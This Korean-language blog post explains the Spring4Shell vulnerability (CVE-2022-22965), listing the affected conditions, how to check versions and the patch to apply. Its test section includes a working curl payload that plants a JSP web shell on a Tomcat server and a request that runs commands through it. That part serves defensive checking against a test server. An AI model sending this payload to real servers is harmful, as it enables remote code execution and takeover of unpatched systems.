Spring4Shell 취약점(CVE-2022-22965) 설명 및 조치 방법
※ Spring 취약점이 연달아 발견되면서 두 개가 같은 취약점이라고 오해하시는 분들이 많다. 22년 3월 29일에 공개된 CVE-2022-22963이 Spring Cloud 취약점이며, 22년 3월 30일에 공개된 CVE-2022-22965이 Spring Shell 취약점이다.
1. 용어 설명
용어 | 설명 |
Spring | Java 애플리케이션을 빠르고 쉽게 개발할 수 있게 해주는 프레임워크로 많은 개발자가 사용한다. |
Spring-WebMVC | Servlet API와 Servlet 컨네이터로 이루어진 웹 프레임워크로 멀티 스레드 방식이다. |
Spring-WebFlux | Reactive stack web framework로 비동기(async) non-blocking 방식이다. WebMVC 보다 적은 리소스로 더 많은 트래픽 처리가 가능하다. |
2. 취약점 요약
항목 | 내용 | 비고 |
CVE CODE | CVE-2022-22965 | SpringShell, Spring4Shell 취약점이라고 불림 |
CVSS 점수 | 9.8(CRITICAL) | |
취약 내용 | Spring Core에서 발생하는 원격코드실행 취약점 | |
취약 대상 | JDK 9 이상을 사용하는 경우 | 이 5가지 조건을 모두 만족해야 함 |
Spring Framework 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전을 사용하는 경우 | ||
아파치 톰캣(Apache Tomcat)을 사용하는 경우 | ||
프로젝트가 WAR으로 패키징 되어있을 경우 | ||
Spring-WebMVC 또는 Spring-WebFlux을 사용하는 경우 | ||
조치 방법 | Spring Framework 5.3.18, 5.2.20 버전으로 업데이트 |
3. JDK 버전 확인 방법
- 아래의 명령어를 입력하여 JDK버전을 확인한다.
java -version |
4. Spring 프레임워크 사용 유무 확인 방법
- 프로젝트가 jar, war 패키징 되어 있는 경우 zip 확장자로 변경하여 압축을 풀고 아래와 같은 명령어를 입력한다.
find . -name spring-beans*.jar |
find . -name spring.jar |
find . -name CachedIntrospectionResuLts.class |
5. 공격 원리
HTTP 요청 헤더에 웹쉘을 생성하는 페이로드를 보내고, 이후 해당 웹쉘을 제어하는 명령어를 보내 원격코드를 실행한다.
※ 자세한 공격원리는 아래 참고URL을 통해 확인하길 바란다.
6. 점검 방법(POC, Exploit)
아래의 예시는 Spring-WebMVC 환경을 기준으로 하였으며, 다른 방식의 점검방법이 필요한 사람은 구글에 "CVE-2022-22965 POC"라고 검색해보길 바란다.
- 테스트 웹 서버에 웹 쉘을 생성하는 페이로드 전송.
curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8088 |
- 생성된 웹 쉘에 명령어를 보내 결과값을 확인.
localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami |
7. 참고 URL
NVD - CVE-2022-22965 (nist.gov)
보안공지 | 자료실 - KISA 인터넷 보호나라&KrCERT
CVE-2022-22965(스프링셸): RCE 취약점 분석 및 완화 (paloaltonetworks.com)
Spring4Shell: 스프링 프레임워크 |의 제로 데이 취약점 Rapid7 블로그
Spring4Shell: The zero-day RCE in the Spring Framework explained | Snyk
'침해 사고 대응' 카테고리의 다른 글
Outlook 취약점(CVE-2023-23397) 공격 원리와 대응 방법 (0) | 2023.03.20 |
---|---|
22년 11월 MS 정기 보안 업데이트 정리 (0) | 2022.11.11 |
Spring Cloud 취약점(CVE-2022-22963) 설명 및 조치 방법 (0) | 2022.04.08 |
log4j 취약점(CVE-2022-23307) 설명 및 대응 방법 (0) | 2022.01.22 |
log4j 취약점(CVE-2022-23305) 설명 및 대응 방법 (0) | 2022.01.22 |